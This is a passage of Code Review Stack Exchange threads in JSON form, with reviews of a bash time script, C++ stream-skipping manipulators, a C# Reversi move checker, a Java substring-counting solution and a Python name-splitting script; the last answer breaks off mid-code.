indentation</li>\n<li>decent variable names</li>\n<li>using <code>$(</code> for command substitution</li>\n<li>quoting defensively</li>\n</ul>\n\n<h1>Suggestions</h1>\n\n<ul>\n<li>Using <code>[[</code> for conditionals is a\n<a href=\"https://google.github.io/styleguide/shell.xml#Test,_%5B_and_%5B%5B\" rel=\"nofollow noreferrer\">best practice</a>\nand will help you avoid some surprises. \"With double square brackets you don’t need to escape parenthesis and unquoted variables work just fine even if they contain spaces (meaning no word splitting or glob expansion).\" <a href=\"https://sap1ens.com/blog/2017/07/01/bash-scripting-best-practices/\" rel=\"nofollow noreferrer\">source</a></li>\n<li>You don't need the inner square brackets in <code>if [ \"$diff\" -gt \"$gap\" ] && [ \"$diff2\" -lt \"$gap\" ]; then</code> . Combining that with the previous point would lead to <code>if [[ \"$diff\" -gt \"$gap\" && \"$diff2\" -lt \"$gap\" ]]; then</code></li>\n<li>Use a <a href=\"https://www.tldp.org/LDP/abs/html/here-docs.html\" rel=\"nofollow noreferrer\">heredoc</a> for your\nusage print-out so it isn't one long line. It will be much easier to maintain and expand your help info in a heredoc.</li>\n<li><p>For the code</p>\n\n<pre><code>if [ \"$whole_hours\" -eq \"1\" ];\nthen\n</code></pre>\n\n<p>you can put the <code>then</code> up next to the <code>;</code> or just drop the <code>;</code> since the line ending will end the <code>if</code> command. Also, quoting the 1 is unnecessary, but harmless.</p></li>\n<li>How about some comments?</li>\n<li>Try <a href=\"https://www.shellcheck.net/\" rel=\"nofollow noreferrer\">shellcheck</a>. It has excellent advice.</li>\n<li>Using <code>#!/usr/bin/env bash</code> in your shebang line\n<a href=\"https://unix.stackexchange.com/q/29608/79839\">might be a good idea</a>.</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T06:22:27.807",
"Id": "236874",
"ParentId": "236755",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T00:18:18.390",
"Id": "236755",
"Score": "3",
"Tags": [
"bash",
"linux"
],
"Title": "Bash script to calculate when I wake up"
}
|
236755
|
<p>I was de-serializing objects that had an extra newline that needed to be removed before getting the next object.</p>
<pre><code>#ifndef THORSANVIL_UTIL_H
#define THORSANVIL_UTIL_H
// Removed headers for getDist() and getRandomContainerIterator()
// We already reviewed those two.
#include <iostream>
namespace ThorsAnvil
{
namespace Util
{
// Removed getDist() and getRandomContainerIterator()
// We already reviewed those two.
class IgnoreUntilNewLine
{
public:
friend std::istream& operator>>(std::istream& stream, IgnoreUntilNewLine& /*data*/)
{
stream.ignore(std::numeric_limits<std::streamsize>::max(), '\n');
return stream;
}
};
class SkipEmptyLineToEnd
{
public:
friend std::istream& operator>>(std::istream& stream, SkipEmptyLineToEnd& /*data*/)
{
std::string emptyLine;
std::getline(stream, emptyLine);
if (!emptyLine.empty()) {
stream.setstate(std::ios::badbit);
}
return stream;
}
};
}
}
#endif
</code></pre>
<p>Simplified Example for usage:</p>
<pre><code>namespace TU = ThorsAnvil::Util;
struct Example1
{
int x;
int y;
std::string line; // Always one line with no "\n"
void swap(Example1& other) noexcept {/*Stuff*/}
friend std::ostream& operator<<(std::ostream& stream, Example1 const& data)
{
// Note putting a new line here
// to make the Serialized object more readable.
// The actual object was a bit more complicated and
// I really wanted to make it readable.
return stream << data.x << " " << data.y << "\n"
<< data.line << "\n";
}
friend std::istream& operator>>(std::istream& stream, Example1& data)
{
Example1 tmp;
if (stream >> tmp.x >> tmp.y)
{
stream.ignore(std::numeric_limits<std::streamsize>::max(), '\n');
if (std::getline(stream, tmp.line)) {
data.swap(tmp);
}
}
return stream;
}
};
</code></pre>
<p>I thought the above read was a bit cumbersome and hard to read. Thus the two types above. This means I can re-write the read operation as:</p>
<pre><code> friend std::istream& operator>>(std::istream& stream, Example1& data)
{
TU::IgnoreUntilNewLine ignoreNewLine;
Example1 tmp;
if ((stream >> tmp.x >> tmp.y >> ignoreNewLine) && std::getline(stream, tmp.line)) {
data.swap(tmp);
}
return stream;
}
</code></pre>
|
[] |
[
{
"body": "<p><code>IgnoreUntilNewLine</code> is too long in my opinion. I'd simplify it to <code>ignore_line</code>.</p>\n\n<p>It probably makes sense to provide the manipulator object in the library instead of letting the user declare one:</p>\n\n<pre><code>struct ignore_line_t {\n constexpr explicit ignore_until_newline_t() = default;\n // ...\n};\ninline constexpr ignore_line_t ignore_line{};\n</code></pre>\n\n<p>so the user can use it directly in a <code>>></code> chain:</p>\n\n<pre><code>stream >> tmp.x >> tmp.y >> TU::ignore_line\n</code></pre>\n\n<p>Incidentally, we can go further and provide a similar helper for <code>getline</code> to fit in the chain:</p>\n\n<pre><code>class getline {\n std::string& dest;\npublic:\n explicit getline(std::string& s)\n : dest{s}\n {\n }\n friend std::istream& operator>>(std::istream& is, getline man)\n {\n return std::getline(is, man.dest);\n }\n};\n</code></pre>\n\n<p>so your example can be written simply as</p>\n\n<pre><code>stream >> tmp.x >> tmp.y >> TU::ignore_line >> TU::getline(tmp.line)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T05:08:42.507",
"Id": "236761",
"ParentId": "236756",
"Score": "4"
}
},
{
"body": "<p>Classes <code>IgnoreUntilNewLine</code> and <code>SkipEmptyLineToEnd</code> can probably be simplified. Classic indicators for that are that it only has one function and no state. However, the key is the following <code>operator>></code> <a href=\"https://en.cppreference.com/w/cpp/io/basic_istream/operator_gtgt\" rel=\"nofollow noreferrer\">overload</a></p>\n\n<pre><code>basic_istream& operator>>( basic_istream& (*func)(basic_istream&) );\n</code></pre>\n\n<p>In other words, you read into a function. This is used by e.g. <code>std::endl</code> or <code>std::flush</code> as well. Using that, you only need a single function for each of the above two classes. The body of those functions is the same as the <code>operator>></code> for the two classes.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T23:09:43.410",
"Id": "464395",
"Score": "0",
"body": "I like this idea. I will try an experiment with this."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T17:34:03.157",
"Id": "236801",
"ParentId": "236756",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "236801",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T00:23:42.870",
"Id": "236756",
"Score": "7",
"Tags": [
"c++",
"io",
"stream"
],
"Title": "Skip input to next line, for reading serialized objects"
}
|
236756
|
<p>I have this method to check if a move is possible in Reversi. The method works as it should, but it doesn't feel right for some reason. It feels very repetitive. I have tried to make it less repetitive by splitting it up in other methods, but that didn't make it any better.</p>
<pre><code>public bool MovePossible(int y, int x)
{
//check if position is in field
if (y > 7 || x > 7 || y < 0 || x < 0)
{
return false;
}
//check if spot is not occupied
if(Bord[y, x] != Color.None)
{
return false;
}
//get color of current turn
Color color = InTurn;
//set oppesite color
Color oppositeColor = Color.Black;
if (color == Color.Black) oppositeColor = Color.White;
//check: X, Y + 1
if (y + 1 <= 7)
{
if(Bord[y + 1, x] == oppositeColor)
{
for (int i = y + 2; i <= 7; i++)
{
if(Bord[i, x] == color)
{
return true;
}
}
}
}
//check: X, Y - 1
if (y - 1 >= 0)
{
if (Bord[y - 1, x] == oppositeColor)
{
for (int i = y - 2; i >= 0; i--)
{
if (Bord[i, x] == color)
{
return true;
}
}
}
}
//check: X + 1, Y
if (x + 1 <= 7)
{
if (Bord[y, x + 1] == oppositeColor)
{
for (int i = x + 2; i <= 7; i++)
{
if (Bord[y, i] == color)
{
return true;
}
}
}
}
//check: X - 1, Y
if (x - 1 >= 0)
{
if (Bord[y, x - 1] == oppositeColor)
{
for (int i = x - 2; i >= 0; i--)
{
if (Bord[y, i] == color)
{
return true;
}
}
}
}
//check: X + 1, Y + 1
if (y + 1 <= 7 && x + 1 <= 7)
{
if (Bord[y + 1, x + 1] == oppositeColor)
{
var i = y + 2;
var j = x + 2;
while (i <= 7 && j <= 7)
{
if (Bord[i, j] == color)
{
return true;
}
i++;
j++;
}
}
}
//check: X - 1, Y - 1
if (y - 1 >= 0 && x - 1 >= 0)
{
if (Bord[y - 1, x - 1] == oppositeColor)
{
var i = y - 2;
var j = x - 2;
while (i >= 0 && j >= 0)
{
if (Bord[i, j] == color)
{
return true;
}
i--;
j--;
}
}
}
//check: X - 1, Y + 1
if (y + 1 <= 7 && x - 1 >= 0)
{
if (Bord[y + 1, x - 1] == oppositeColor)
{
var i = y + 2;
var j = x - 2;
while(i <= 7 && j >= 0)
{
if (Bord[i, j] == color)
{
return true;
}
i++;
j--;
}
}
}
//check: X + 1, Y - 1
if (x + 1 <= 7 && y - 1 >= 0)
{
if (Bord[y - 1, x + 1] == oppositeColor)
{
var i = y - 2;
var j = x + 2;
while (i >= 0 && j <= 7)
{
if (Bord[i, j] == color)
{
return true;
}
i--;
j++;
}
}
}
return false;
}
</code></pre>
<p>I would like to get some feedback on my code and how I can improve on it being less repetitive. </p>
<p>EDIT:</p>
<p>What is the code supposed to do?</p>
<p>The method has to check if a disk can be placed on a grid. It is part of the game Othello (or Reversi). The method has to return true when:</p>
<ul>
<li>Y and x are within the field (so between 0 and 7)</li>
<li>The spot cannot be occupied</li>
<li>Y and x has a neighbor with the opposite color. For example: I want to place a black disk on <code>3, 3</code>, either one or more of the following coordinates has to be white: <code>2, 2</code>, <code>2, 3</code>, <code>2, 4</code>, <code>3, 2</code>, <code>3, 4</code>, <code>4, 2</code>, <code>4, 3</code>, <code>4, 4</code>.</li>
<li>The disk from the opposite color has to be surrounded. </li>
</ul>
<p>An example:</p>
<pre><code> 0 1 2 3 4 5 6 7
0 0 0 0 0 0 0 0 0
1 0 0 0 0 0 0 0 0
2 0 0 0 0 0 0 0 0
3 0 0 0 2 1 0 0 0
4 0 0 0 1 2 0 0 0
5 0 0 0 0 0 0 0 0
6 0 0 0 0 0 0 0 0
7 0 0 0 0 0 0 0 0
</code></pre>
<p>I want to place a white(1) disk at Y: 2, X: 3. That's valid because the spot is empty, it's next to a black(2) disk and the black disk is now surrounded. When the disk is placed the grid looks like this:</p>
<pre><code> 0 1 2 3 4 5 6 7
0 0 0 0 0 0 0 0 0
1 0 0 0 0 0 0 0 0
2 0 0 0 1 0 0 0 0
3 0 0 0 2 1 0 0 0
4 0 0 0 1 2 0 0 0
5 0 0 0 0 0 0 0 0
6 0 0 0 0 0 0 0 0
7 0 0 0 0 0 0 0 0
</code></pre>
<p>Because the black disk is now surrounded by the white disks the disk becomes a white disk (the one at <code>3, 3</code>), but changing the disk happens in another function and is not important for the question.</p>
<p>Another example:</p>
<pre><code> 0 1 2 3 4 5 6 7
0 0 0 0 0 0 0 0 0
1 0 0 0 0 0 0 0 0
2 0 0 0 0 0 0 0 0
3 0 0 0 2 2 2 0 0
4 0 0 0 1 1 0 0 0
5 0 0 0 0 1 0 0 0
6 0 0 0 0 0 0 0 0
7 0 0 0 0 0 0 0 0
</code></pre>
<p>Placing a white(1) disk at Y: 4, X: 5 is not valid. It is next to a black(2) disk, but the black disk won't be surrounded, so it's not valid. Y: 2, X: 2 would be a valid move because the black disk at Y: 3, X: 3 is surrounded by Y: 2, X: 2 and Y 4 and X: 4.</p>
|
[] |
[
{
"body": "<p>I haven't checked whether your logic following the <code>//check: X, Y + 1</code> comments is correct, but it can be refactored as follows. You're basically checking 8 directions (N, NE, E, SE, S, SW, W, NW), each uniquely identified by a <code>dx</code> and a <code>dy</code> between -1 and 1. You need to exclude the case where <code>dx</code> and <code>dy</code> are both 0. </p>\n\n<pre><code>dx -1 0 +1\ndy -1 NW N NE\n 0 W . E\n +1 SW S SE\n</code></pre>\n\n<p>That would give code like this:</p>\n\n<pre><code>for (int dx = -1; dx <= 1; dx++) {\n for (int dy = -1; dy <= 1; dy++) {\n if (dx == 0 && dy == 0)\n continue;\n\n if (x + dx < 0 || x + dx > 7 || y + dy < 0 || y + dy > 7)\n continue;\n\n if (Bord[y + dy, x + dx] != oppositeColor)\n continue;\n\n int i = 2;\n while (i <= 7)\n {\n if (x + i * dx < 0 || x + i * dx > 7 || y + i * dy < 0 || y + i * dy > 7)\n break;\n if (Bord[y + i * dy, x + i * dx] == Color.None)\n break;\n if (Bord[y + i * dy, x + i * dx] == color)\n {\n return true; \n }\n i++;\n }\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T16:08:28.320",
"Id": "464151",
"Score": "0",
"body": "Awesome! this looks way better and seems totally logical!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T15:54:58.833",
"Id": "236791",
"ParentId": "236759",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "236791",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T01:45:30.907",
"Id": "236759",
"Score": "9",
"Tags": [
"c#",
"game"
],
"Title": "Reversi move checker"
}
|
236759
|
<p>Given a string, return the count of the number of substrings that contains characters A, B and C. Two substrings are considered different if the starting, ending or both positions differ.</p>
<p>Example - s = "ABBCZBAC", there are 13 substrings which are "ABBC", "ABBCZ", "ABBCZB", "ABBCZBA", "ABBCZBAC", "BBCZBA", "BBCZBAC", "BCZBA", "BCZBAC", "CZBA", "CZBAC", "ZBAC", "BAC".</p>
<p>My code in Java is giving timeout error for large inputs. my code is</p>
<pre><code>public static long find(String s)
{
for(int i=0;i<s.length()-2;i++)
{
int j=i+3;
while(j<=s.length() && !(s.substring(i,j).contains("A") && s.substring(i,j).contains("B") && s.substring(i,j).contains("C"))
j++;
count += s.length()-j+1;
}
return count;
}
</code></pre>
<p>I tried to improve this code by finding indexes directly and storing them but still, I was getting timeout errors for large inputs. Can anyone give me a better approach to solve this question may be in O(n)?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T09:01:53.100",
"Id": "464116",
"Score": "4",
"body": "Welcome to CodeReview@SE. Be prepared that [any aspect of the code posted is fair game for feedback](https://codereview.stackexchange.com/help/on-topic)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T09:07:50.960",
"Id": "464118",
"Score": "0",
"body": "Hello, at the moment your code does not compile, please provide a working version for review."
}
] |
[
{
"body": "<p>The trick of these things is to:</p>\n\n<ol>\n<li>create a model, and then</li>\n<li>create a mathematical formula that uses the model.</li>\n</ol>\n\n<p>If you look at the example string <code>.A.B.C.A.</code> then you can may first notice that it doesn't matter a bit if you substitute <em>any other character</em> than ABC for the dot. So we don't care a single iota what characters are at those locations.</p>\n\n<p>Now we see a substring <code>xA.B.Cyyy</code> where <code>A.B.C</code> is just the shortest string in which all the characters are present. Any amount of characters <code>x</code> and <code>y</code> can be present, going from the <code>A.B.C</code> part to the outside. In other words, from this you can construct (#x + 1) * (#y + 1) = (1 + 1) * (3 + 1) = 8 separate substrings that contain this <code>A.B.C</code>. This set of substrings of course also includes <code>xA.B.C.Ay</code>, i.e. all longer substrings that contain the ABC.</p>\n\n<p>Now lets look for substrings that are not covered: <code>-axB.C.Ay</code>. Here <code>-</code> and <code>a</code> are not actually part of the substring, it's just to indicate that we have to skip these characters to find a new ones. If we include the first <code>A</code> then of course we've already counted that substring before. So now we calculate that we need to add (#x + 1) * #y = (1 + 1) * (1 + 1) = 4 separate substrings. After that we cannot find a shorter alphabet (<code>-a-bxC.Ay</code> doesn't contain it). So there we are, we have 8 + 4 = 12 substrings that contain the alphabet.</p>\n\n<p>In words: we have to continue looking for the next offset in the string, try to find the shortest alphabet, and stop if there isn't one. We need to keep track where the start of the last substring was that we found, to avoid duplicates. So there is your model and set of calculations.</p>\n\n<p>As you can see, there is just one starting offset of the substring that increases to the right, and then we need to find the end offset within the string. In other words, the complexity is somewhere at O(N * 1/2N) ~ O(N). Easy-peasy for any modern computer.</p>\n\n<p>However, the algorithm doesn't perform any <code>contains</code>! Heck, it doesn't even create the substrings that it just needs to <strong>count</strong>.</p>\n\n<hr>\n\n<p>Another longer example for more visually oriented persons (where we count the pipe and dot characters):</p>\n\n<pre><code>ABBCZBAC\n| |.... -> 1 * 5 = 5\n BBCZBAC\n | |. -> 1 * 2 = 2\n BBCZBAC\n | |. -> 1 * 2 = 2\n BCZBAC\n | |. -> 1 * 2 = 2\n ZBAC\n .| | -> 2 * 1 = 2\n ==+\n 13\n</code></pre>\n\n<hr>\n\n<p>I'll post my code (made and thought of from scratch) <strong>iff</strong> you show you can do the same; post code and the answer for the following string (it should take the computer <strong>no time at all</strong> to calculate it).</p>\n\n<pre><code>CBZBBZABBBBAABZZZAZZBACBZCACCZCZABBACCAZCABCBBZBAZAACBZCABZAZCZZ\n</code></pre>\n\n<p>Probably better to create a new question for it. I don't even want to <em>touch</em> the current example.</p>\n\n<p>Happy programming.</p>\n\n<hr>\n\n<p>No time at all means:</p>\n\n<pre><code>AACZCBZACBZCBZZBCZBBBAABBCAACBCZZCCZABCCCZBAAACCBCBAZAZZBCAAABBCZBCZZZZZCZAZBZZZBCZCBBBCABZZBCCBBBBBCCCBAAZACAZZBCZBAZCBBACACCCZBBZAZAZBCZCZZCCCACCBAZAZBACAAAZCAZACBABZCZZBZACAZZZZACAZBCCABZCCCBAZZBZBAZZCCZCBBBBBBBCAABZCBCAACACCZBCABAZZAZZCZBZCACACZBZCZZBZZCCZZZZBBCCCCZBCCBZABZBAABZZZACZAABBZCABCZCABZAZCZCAZBBBACBCZACZAAZZACBZCCBZBZACCCBACAZACZAACAZAZBCCZBBZCZCZBACACAZBAZZAACCZZBZZZCAZZAAAABBBAZABBBBZAZZBACBBZAACBAZCCBBZCAZZAZAACAAZAZZBCBZCCCZCZCCZZAZABCBZBBZBBBBZZAAZZCABAAABBBBCZCCCCCABBZCBCACBZAZCBZBBAZZZCBCZZZAAAAAZCBABZCCCAZZAAAZAABABZBBAAZZACZAACABZZCBZABZZCACAAACAABAZBABBZBBBCAZAACACZAACAZCBCCBZCCCACBAZBBBZBBCZAAZCZCZBCABCZCBZABAZBAZZBCCZBBABCCCABZZZCBCBAZCBBBCAZZCBBAZBCCZBCCCABZZBZAZBBABACCBABZZCCBCAZBZZACBAZBCCAZZBAACZACZBZZBBBCAAZBBBABBAZBBZABCCBBBZBZZZAZABBZBACBCZAZBCZACBZBBZZBZABAZZBZCAABZBZBBZCCCAZABZCAZBBBZCZBBBZZBCBCCZAZZZABCBZZZCAABBBZCZZCBZZCZZZZACZBZCBCBBBZCCBZZBBCCZZCCCBZAAZZCZBBCBBCBZCAZCZZBBCBBZCZBAZBAAZCZABBCCZAACBBCBZACAZCCCBABBCZZZBZACZCZACZABCCZCCBBBBBCBZACCZZCAABZBCACCAAZZZCZBCAAZBZAZBZCAZBZCCCCZAZBBCCBBCZZCCAAACCZAABCZZAABBZBZZZAAAZABAACBCCBBCZCCBZCABAAABBAAABCBACBZZABZZBAZABCBZZBABBCACABBAZCBZBAZZZZZBACBZCCBCZZBAAZBBAABZCCZCACZAZZBACAZBABCZBBBAAZZCAZBBCCAZBCBCAAAZBZCCCZZZCAZCBBBBACCAZBCBBCCCBBCABZCCAZACZBABZBBCCCAZAACAAACZZAAACABCAAABAAABACAACCCZABZZZZZCBAABCCAAACACAAZCZCBZBZZZCCCBAZBAZZZCZBCCBZCCACCABCAAAABZCZABCBABZCZACCCACCCZZCCBCZBZZAABBZABCZBCZZZZCACBCBAZZBCAZABACZZABABZBZZCBCACAZACAZZZBBBCCABABZBCAZZCBACACABCAZCCACZBBCCAACCBBCBABZZAZCAABAZAACZZBCCBAACCCCAACCBAZBAZCAABBZZBAZZZBBZZBZAABCCBCBZZCZZABCCZBZCACCZAABCAZBBCZACCZBZBBCZCZCAZZBAAZZZAABBAZZZBZCCZCABZBZCZCCAZAZCBAACCAZZCZBBCCACAABBBZZBZZZAACBZCAAZCBZZAZZBBCCZBBAAZAAZZZZBCBCBCBBACCCCZCACZAACZCCAAZAABCZCCZABCZBBCAAACCBCCABZACBACAAAZCBBACAACCCZACCABBACCBABZZBCACCZZACBBAZZCBABBZBAACCCAZAZAZZCCCCCCZCAACAABBZABCZAAZCCBZZZAZCBCAZACCAZBBCZZAZZCABCAZCBZAZABCBZACZCZAAZZZBZZZZZAZZCBZBBZZABABABAAAAZZZACZAZZZZZBBACZCZBZBAAZAAZCCCAZCZZCABCCABBZZBCACCCBBCCCAZCBABBZCBBBAZCBCZBCAZZCBZZAZBBCZABACCZACBABZCBCBZBAACCZBZAZACBBZZZZBBBBZZZAZBAABCCCZCCAZBCAABCAAZACCBZBCCZZABCABABBBBBBCZCBZACBCAABBBCCCZAABCBZBCAZAZZABZAZZCZZAZBAAAAACZZACZCACCZABACAZAACZCCAZABAACBZCABCCAZACCBBZBBZBZZCCZBAABZBBBBCAZAZZACZABABBZCZZZBZBBCBBAZZZBABAAZZBABZBCBAAZCACAACCZAABZZZBBBZACZCCCZABBBCCCBZACZCCZZAZCBABCCACZABCAZZCBZZCBBBCAZZABBABCZZBCABZBAAAABCCAAZABBZZZZZAABBBAZBCACABZACCCBBBZABZBAZAZBAAZAZCAZAZZBBZBCCCCZCZCBAZBCABZCZAACZAZACBABAAZBCBBACACBZCAZCCBZBZBZABCCZBCZCAZAAZCACCCBCBZZZCZBCBCAZBAAZCACAABZBCBBZZBBZBCABZABCCBCAZBAZCBAAZBZAZZZBCZCCBCCACAZBZZCCAZCACAZZCABCBCZCABBCZBBCZCBCBZACBZAACCBZACBZACCBCBZACACBCAZZZZCCZBCZACCACZACZCBCABCCABZAZCABCCCAACZCBZABZZCABBZBCCAABABAZBCZBBABCAZZCBABABZZACBZBBCBBCBZCBCZBCCZZCBABACABBAAABCCCACCABAABBBZZCCCZABZCZZBABCCCBCBZAZBABCZBZZZCABCZBZCBACCBAABABAZBAZACZBAACBAZZBABCZCBZCCAAZACACZCAAACBCBBABACACCCAZBZCCACBBZCCACAZBAZCACACZCZBCZBBBAAZBAZZZACCCCCCCAAZAZCAAAZBZZZCZCZBCBZZCZAACACCBAAABZZZBZZZACBZAABABCBAACAZCCZBZZCZACABCAZZABBCCAAAABAACABAZZACZZBZBAZZCACACBBCACAZCZZBZCACCZACCCABZCAZABCZZACAZACZAABBCZAZZABZCZCCZCZCZCAACACCCAZCCBZZCAZBACCZCBBZAABBAAAZACAAACBCCZAACBZBBBCACZZCZZCCCBZCBAAZCCCCACCZCZCZBZBZZCZCCBBZCAABBAABAACAZZBCACZZABBAZZBZZCBBAACBZAAABZAABBAZCZBZABBBBBCZBBCABABBBZZZABBAAABCCCZBCAAAZABZCBBACCAAZAABZCBCZBCABABCBCZCZCAACACCZZCCCBZZBCABAABABZBACAZBZBABBZCABZBBCACBBZCZABBZCZAZZZABZCZZBAACZZCZACBZBCZCCABCAAZBACCZCAACZBBACZCZCCBCBABBCZZBABZBBACACZZAACCCCCCZCBACCACZZZBACZZZBZCACBBCZCBBCAZBCACBCBBBCAACBZACAAZAACBCCZZZABCBCCAZBBBBCZBBACZCAZACZBBABABZCCZBCCACBAABBZAAACZAABZZCAZAABBBCABCCCACACCBABZCCZBBBAZCCAZZBBZZAZCABBZCCZAACZAZZCBBZABCACBZBCBCZZZBBACBBCAZABAACAZBBBAZBCBCBAACBAZBAAZZBZACBZBACZBZCCABZZCBAZZBCZBCCCZACAZAZCABAACAABBZZBAAACABZAAZBCACBACABACBCBZABCCACBBZBBZBAZCCBCCCABZZCBCZZAAZCCCCAZZACCZZCBZCZZZCAZZABZAZZACCABZABCCAAAAAABZBCCZCBBZCCZAZAACACBBBBCAZABZCBCZABZCBAAACCZBBBCBZCAAAZCZAACBAZZZZABCZCABAABZZAACCCAZZZCZAACZACCCZBACCBBBBZACZBBAZZABZACAZBAZCBCACACAAACBCBAZCCBZBBZAABAZZCCCCBACBZBCCBACZABZBZBZACABBBZBCAZZBCBBCZABCZBBBZZCCAAZBBAZCAZBAAZAAZZBBCCZABCZAAZBCACCCBABCZBCACZAABBBACCZBBABBCZACAZZAZCBZCCAACBZCBABZAZBCAZBCBCZBZBBABZZCBZAAZ\n</code></pre>\n\n<p>gives</p>\n\n<pre><code>8364211\n</code></pre>\n\n<p>instantly. Feel free to check that answer.</p>\n\n<p>In under 2 minutes, I can have an answer for a 1 billion sized character string:</p>\n\n<pre><code>499999994166624150 substrings\n116292 ms\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-09T23:17:31.137",
"Id": "236952",
"ParentId": "236762",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T06:42:43.943",
"Id": "236762",
"Score": "2",
"Tags": [
"java",
"strings"
],
"Title": "Find all substrings that contain k specific characters in a string"
}
|
236762
|
<p>I'm a beginner in Python programming. Currently, I learn how to work on the files...
I've created a program, which excludes the names (first & last) from each row, that contains both of them. When the pair of names does not include for example the Last Name part, it places n/a in the last_names.txt file.</p>
<p>Like from the file <em>names.txt</em>:</p>
<pre><code>Paul Morgan
James Kowalski
Thomas
</code></pre>
<p>sort to two files</p>
<p><em>firstnames.txt</em>:</p>
<pre><code>Paul
James
Thomas
</code></pre>
<p><em>lastnames.txt</em>:</p>
<pre><code>Morgan
Kowalski
n/a
</code></pre>
<pre><code>"""
Program separating first names and last names gathered in pairs from one file and saving them into two files.
"""
"Global Variables:"
allNamesFromFile = []
def names_separator(fileName):
with open(fileName, "r+", encoding="utf-8-sig") as namesFromFile:
for names in namesFromFile:
allNamesFromFile.append(tuple(names.replace("\n", "").split(" ")))
open("last_names.txt", "w").close() #cleaning the last_names.txt file
open("first_names.txt", "w").close() #cleaning the first_names.txt file
lastNamesFile = open("last_names.txt", "a+", encoding="utf-8-sig")
firstNamesFile = open("first_names.txt", "a+", encoding="utf-8-sig")
for namesTuples in allNamesFromFile:
try:
lastNamesFile.write(namesTuples[1] + "\n")
except:
lastNamesFile.write("n/a\n")
try:
firstNamesFile.write(namesTuples[0] + "\n")
except:
firstNamesFile.write("n/a\n")
lastNamesFile.close()
firstNamesFile.close()
print("welcome in the names separator program...")
while True:
fileName = str(input("Please provide the file name with its extension: "))
try:
names_separator(fileName)
print("operation completed")
break
except:
print("You have provided an incorrect file name...")
continue
</code></pre>
<p>I wonder if there is anything I could improve in this code... I wanted to use list + tuples.
The program works correctly, but I want to review it and maybe improve if it's possible. Maybe I could write it shorter/better, or just its functionality can be optimized?</p>
<p>Thanks in advance.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T07:43:27.297",
"Id": "464108",
"Score": "0",
"body": "Welcome to Code Review! Did you recently post this same question here on Code Review or elsewhere on the Stack Exchange network? It looks very familiar."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T08:47:08.993",
"Id": "464112",
"Score": "3",
"body": "@Mast Hey Mast. Thanks for the welcome :) Yes I did. I put that initially on the StackOverFlow, but they told me to put it here... So I've deleted it from there and placed it here"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T11:30:26.420",
"Id": "464137",
"Score": "0",
"body": "Are names guaranteed to have at most two components? In other words, are there no middle names or two name last names?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T12:27:07.840",
"Id": "464246",
"Score": "0",
"body": "@Graipher Hey. Yes. That was the assignment description. In this code, I just focus only on the first and last names. Considering there are no middle or two names"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T22:29:50.543",
"Id": "464384",
"Score": "0",
"body": "Can you clarify what the program is meant to do?"
}
] |
[
{
"body": "<p>The functionality of your program seems slightly weird. You read multiple files, and each one gets split, but in doing so you (explicitly) delete the old data, is this right?</p>\n\n<p>One thing I notice is this piece of code here:</p>\n\n<pre><code>open(\"last_names.txt\", \"w\").close() #cleaning the last_names.txt file\nopen(\"first_names.txt\", \"w\").close() #cleaning the first_names.txt file\nlastNamesFile = open(\"last_names.txt\", \"a+\", encoding=\"utf-8-sig\")\nfirstNamesFile = open(\"first_names.txt\", \"a+\", encoding=\"utf-8-sig\")\n</code></pre>\n\n<p>This could be replaced by: </p>\n\n<pre><code>lastNamesFile = open(\"last_names.txt\", \"w\", encoding=\"utf-8-sig\")\nfirstNamesFile = open(\"first_names.txt\", \"w\", encoding=\"utf-8-sig\")\n</code></pre>\n\n<p>I'd also move it to the start of your function:</p>\n\n<pre><code>with open(fileName, \"r\", encoding=\"utf-8-sig\") as namesFromFile, \n open(\"last_names.txt\", \"w\", encoding=\"utf-8-sig\") as lastNamesFile,\n open(\"first_names.txt\", \"w\", encoding=\"utf-8-sig\") as firstNamesFile:\n</code></pre>\n\n<p>So you can remove the <code>close</code> statements at the end. I'm not sure what the <code>encoding=</code> does, but it might not be necessary.</p>\n\n<p>You can also reduce this:</p>\n\n<pre><code> for names in namesFromFile:\n allNamesFromFile.append(tuple(names.replace(\"\\n\", \"\").split(\" \")))\n\n for namesTuples in allNamesFromFile:\n try:\n lastNamesFile.write(namesTuples[1] + \"\\n\")\n except:\n lastNamesFile.write(\"n/a\\n\")\n try:\n firstNamesFile.write(namesTuples[0] + \"\\n\")\n except:\n firstNamesFile.write(\"n/a\\n\")\n</code></pre>\n\n<p>To this:</p>\n\n<pre><code>for names in namesFromFile:\n names_split = tuple(names.replace(\"\\n\", \"\").split(\" \"))\n if len(names_split) >= 1:\n firstNamesFile.write(names_split[0] + \"\\n\")\n else:\n firstNamesFile.write(\"n/a\\n\")\n\n if len(names_split) >= 2:\n 